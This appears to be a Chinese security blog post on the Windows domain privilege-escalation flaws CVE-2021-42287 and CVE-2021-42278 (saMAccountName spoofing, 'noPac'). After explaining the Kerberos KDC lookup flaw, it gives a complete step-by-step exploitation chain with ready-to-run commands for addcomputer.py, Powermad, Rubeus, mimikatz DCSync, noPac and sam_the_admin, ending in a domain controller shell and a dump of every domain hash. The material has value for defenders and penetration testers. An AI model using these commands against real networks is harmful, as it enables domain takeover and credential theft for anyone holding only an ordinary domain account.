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超详细!CVE-2021-42287 权限提升漏洞
2023-06-01 00:31:49
所属地 北京

漏洞背景

2021年11月9日,微软发布11月份安全补丁更新。在该安全补丁更新中,修复了两个域内权限提升漏洞CVE-2021-42287 、CVE-2021-42278。当时这两个漏洞的利用详情和POC并未公布,因此并未受到太多人关注。

一个月后,国外安全研究员公布了 CVE-2021-42278和CVE-2021-42287的漏洞细节,并且exp也很快被公布。至此,这个最新的域内权限提升漏洞才受到大家的广泛关注,该漏洞被命名为saMAccountName spoofing 漏洞。该漏洞允许攻击者在仅有⼀个普通域账号的场景下,利⽤该漏洞接管全域,危害极⼤。

注意:受漏洞影响的版本是未打补丁的全版本Windows域控

漏洞原理

1、漏洞核心点

⾸先,通过查看了下⽹上泄露的XP源代码,找到了漏洞问题的所在。

如图所示,通过查看源代码中关于kerberos的处理流程的内容,我们可以清楚的看到漏洞产生的核心原因是在处理Username字段时的错误,如果第一次查找不到Username,KDC会继续查找 Username$。

图片.png

如果第二次还是查找不到,KDC会继续查找altSecurityIdentities属性为对应值的用户,如图所示:

图片.png

正是因为这个处理逻辑,导致了漏洞的产⽣!但是光有这个处理逻辑还是不够形成⼀个完整的攻
击链。还得找到这个漏洞的触发点。那么如何能让KDC找不到之前的用户呢?

  • 跨域请求:跨域请求时,⽬标域活动⽬录数据库是找不到其他域的⽤户的,因此会⾛进这个 处理UserName的逻辑。

  • 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不
    到⽤户,然后⾛进这个处理UserName的逻辑。

以上仅仅是KDC⾛进这个处理UserName的逻辑,还不能伪造⾼权限。因为票据中代表⽤户身份权限是数据块是PAC。而TGT中的PAC是根据预认证身份信息生成的,无法伪造,因此得想办法在ST中进行伪造。正常的ST中的PAC是直接复制TGT中的,得想办法让KDC在TGS-REP阶段重新生成PAC,而不是复制TGT中的PAC。这里有如下两种方式:

  • S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新⽣成的。

  • 跨域⽆PAC的TGT票据进⾏TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT
    认购权证中没有PAC,PAC会重新⽣成。

2、S4u2Self 请求PAC的生成

如图所示:可以得知KDC收到客户端发来的TGS-REQ S4u2Self ,在验证了客户端是否具有发起S4U2Self协议权限后,会根据S4U2Self协议中模拟的⽤户⽣成对应权限的PAC,然后放在ST中,并不会复用TGT中的PAC!

图片.png

3、跨域无PAC的TGS请求生成

如图所示,可以得知如果请求得TGT中没有PAC,且是当前域得请求,则ST服务票据也没有PAC,如果是其他域,则会重新生成一个PAC。

图片.png

4、原理总结

这个漏洞的产生核心的原因是KDC在处理UserName字段时的问题,而后结合两种攻击链针对域内和跨域进行攻击。

  • 当针对域内攻击时,结合了CVE-2021-42278漏洞来修改机器⽤户的saMAccountName属
    性,让KDC找不到⽤户,⾛进处理UserName的逻辑。 然后再利⽤KDC在处理S4U2Self时的
    逻辑问题(不校验发起S4U2Self请求的⽤户是否具有权限发起S4U2Self请求)以及重新⽣成PAC的这⼀特性来进⾏攻击。

  • 当针对跨域攻击时,其实意义不⼤。因为需要修改其他域内⾼权限⽤户的altSecurityIdentities属性,⽽默认是没有权限修改的,只有根域管理员或者其他域的域管理员才有权限修改。当跨域TGS请求时,⽬标域控在活动⽬录数据库内是找不到其他域的⽤户的,因此⾛进处理UserName的逻辑。然后再利⽤跨域TGS-REQ请求时的处理逻辑(如果TGT票据中没有PAC,则重新⽣成)这⼀特性来进⾏攻击的。

综上所述,这个漏洞针对跨域攻击的实战意义不大,针对域内攻击更有效,如图所示是针对域内攻击链的逻辑处理图:

图片.png

漏洞利用流程

针对漏洞的成功利用仅需要一个有效的普通域用户账户即可,漏洞流程图如图所示:

图片.png

流程图如下:

1)利⽤SAMR协议创建⽆SPN的机器账⼾machine$
2)修改机器账⼾machine$的saMAccountName属性为DC
3)以DC账⼾请求TGT
4)将机器账⼾machine$的saMAccountName属性还原为machine$
5)利⽤S4u2Self协议以域管理员⾝份请求域控DC的服务,在请求中带上上⼀步的TGT。KDC⾸先会查询DC,发现没有该账⼾,然后会查询DC$,查询到了是域控,允许域控发起S4u2Self请求⾃⾝的服务。因此返回域管理员权限访问域服务的ST。
6)⽤⾼权限票据执⾏⾼权限的操作。

1、创建机器账户

首先,我们可以使用一个有效的域用户创建一个域内机器账户。默认情况下,域内普通用户最多能创建10个机器账户,创建机器账户的数量由域的ms-MachineAccountQuota属性决定,该属性的值默认为10。

(1)Impacket脚本创建

使用addcomputer.py脚本运行如下的命令利用SAMR协议远程新建一个域内机器账户machine$,密码为root。

python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 192.168.41.10 'hack.com/hack:Admin123' -method SAMR -debug

图片.png

通过这种创建的机器账户没有SPN,如图所示

图片.png

(2)Powershell脚本创建

脚本下载地址:https://github.com/Kevin-Robertson/Powermad

使用PowerShell脚本在域内机器上运行如下的命令创建一个机器账户machine2$,密码为root

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount machine2

图片.png

通过这种方式创建的机器账户有SPN,如图所示:

图片.png

(3)清除机器账户的SPN

如果是通过addcomputer.py脚本创建的机器账户,则无需清除SPN;如果是通过Powershell脚本创建的机器账户,则需要清除SPN

在创建的机器账户machine2$上执行如下的命令清除SPN。

Import-Module .\powerview.ps1
Set-DomainObject "CN=machine2,CN=Computers,DC=hack,DC=com" -Clear 'serviceprincipalname' -Verbose

或者也可以使用addspn.py脚本执行如下的命令远程清除,只需要提供一个有权限的SPN账户即可。

脚本下载地址:https://github.com/dirkjanm/krbrelayx/

#查询机器账户machine2$的SPN
python3 addspn.py -u 'hack.com\hack' -p Admin123 -t 'machine2$' -q 192.168.41.10
#清除机器账户machine2$的SPN
python3 addspn.py -u 'hack.com\hack' -p Admin123 -t 'machine2$' -c 192.168.41.10

图片.png

图片.png

为什么要清除SPN呢?因为如果不清除该机器账户的SPN,当修改该机器账户的saMAccountName 属性为DC时,此时该机器账户的SPN也会随之改变成对应的值。而域控已经有了该SPN了,同一域中SPN是单独且唯一的。因此不清除SPN修改该机器账户的saMAccountName 属性为DC时,会提示该服务器不愿意处理该请求从而失败。

2、修改机器账户的saMAccountName 属性为域控

在创建机器账户machine2$的机器上执行如下的命令,修改机器账户machine2$的saMAccountName属性为域控机器名。

Import-Module .\Powermad.ps1
#查询机器账户的machine2$的saMAccountName 属性
Get-MachineAccountAttribute -MachineAccount machine2 -Attribute saMAccountName
#修改器账户的machine2$的saMAccountName 属性为DC
 Set-MachineAccountAttribute -MachineAccount machine2 -Value "DC" -Attribute saMAccountName -Verbose

图片.png

3、请求TGT

通过Rubeus.exe运行如下的命令请求TGT

Rubeus.exe asktgt /user:"DC" /password:"root" /domain:"hack.com" /dc:"DC.hack.com" /nowrap /ptt

图片.png

4、修改机器账户的saMAccountName属性为非域控

将机器账户machine2$的saMAccountName属性修改为非域控,执行如下的命令,如图所示:

Import-Module .\Powermad.ps1
#查询机器账户的machine2$的saMAccountName 属性
Get-MachineAccountAttribute -MachineAccount machine2 -Attribute saMAccountName
#机器账户的machine2$的saMAccountName 属性修改为machine2$
Set-MachineAccountAttribute -MachineAccount machine2 -Value "machine2$" -Attribute saMAccountName -Verbose

图片.png

5、请求高权限的ST

运行如下的命令发起S4u2Self协议请求以administrator身份访问ldap/DC.hack.com的ST,并导入内存。

Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/DC.hack.com" /dc:"DC.hack.com" /ptt /ticket:上一步请求的TGT的base64格式

图片.png

6、导出域内用户的Hash

使用mimikatz运行如下的命令即可导出域内任意用户的Hash。

#导出用户Krbtgt的Hash
mimikatz.exe "lsadump::dcsync /domain:hack.com /user:krbtgt /csv" "exit"

图片.png

漏洞复现

这里使用几种不同的工具进行漏洞复现。

实验环境如下:

  • 域控DC:192.168.41.10

  • 域有效用户:hack\hack, Admin123

1、noPac.exe

运行如下的命令使用noPac.exe对目标域进行漏洞利用。

工具下载地址:https://github.com/cube0x0/noPac

noPac.exe -domain hack.com -user hack -pass Admin123 /dc DC.hack.com /mAccount machine /mPassword root /service cifs /ptt

如图所示运行完成后生成票据并导入内存中

图片.png

然后直接使用mimikatz即可导出域内任意用户的Hash,如图所示:

mimikatz.exe "lsadump::dcsync /domain:hack.com /user:krbtgt /csv" "exit"

图片.png

2、sam_the_admin

脚本下载地址:https://github.com/WazeHell/sam-the-admin

(1)获得域控权限

该工具获得域控权限的命令如下,如图所示,获得了域控DC的权限。

python3 sam_the_admin.py "hack/hack:Admin123" -dc-ip 192.168.41.10 -shell

图片.png

(2)导出域内Hash

该工具导出域内Hash的命令如下,如图所示,导出了域内所有的Hash。

python3 sam_the_admin.py "hack/hack:Admin123" -dc-ip 192.168.41.10 -dump

图片.png

3、noPac.py

脚本下载地址:https://github.com/Ridter/noPac

检测目标是否存在漏洞

python3 scanner.py -use-ldap hack.com/hack:"Admin123" -dc-ip 192.168.41.10

图片.png

获取目标域控的shell

python3 noPac.py -use-ldap hack.com/hack:"Admin123" -dc-ip 192.168.41.10 -shell --impersonate administrator

图片.png

获取目标域控所有账户的Hash值

python3 noPac.py -use-ldap hack.com/hack:"Admin123" -dc-ip 192.168.41.10 --impersonate administrator -dump

图片.png

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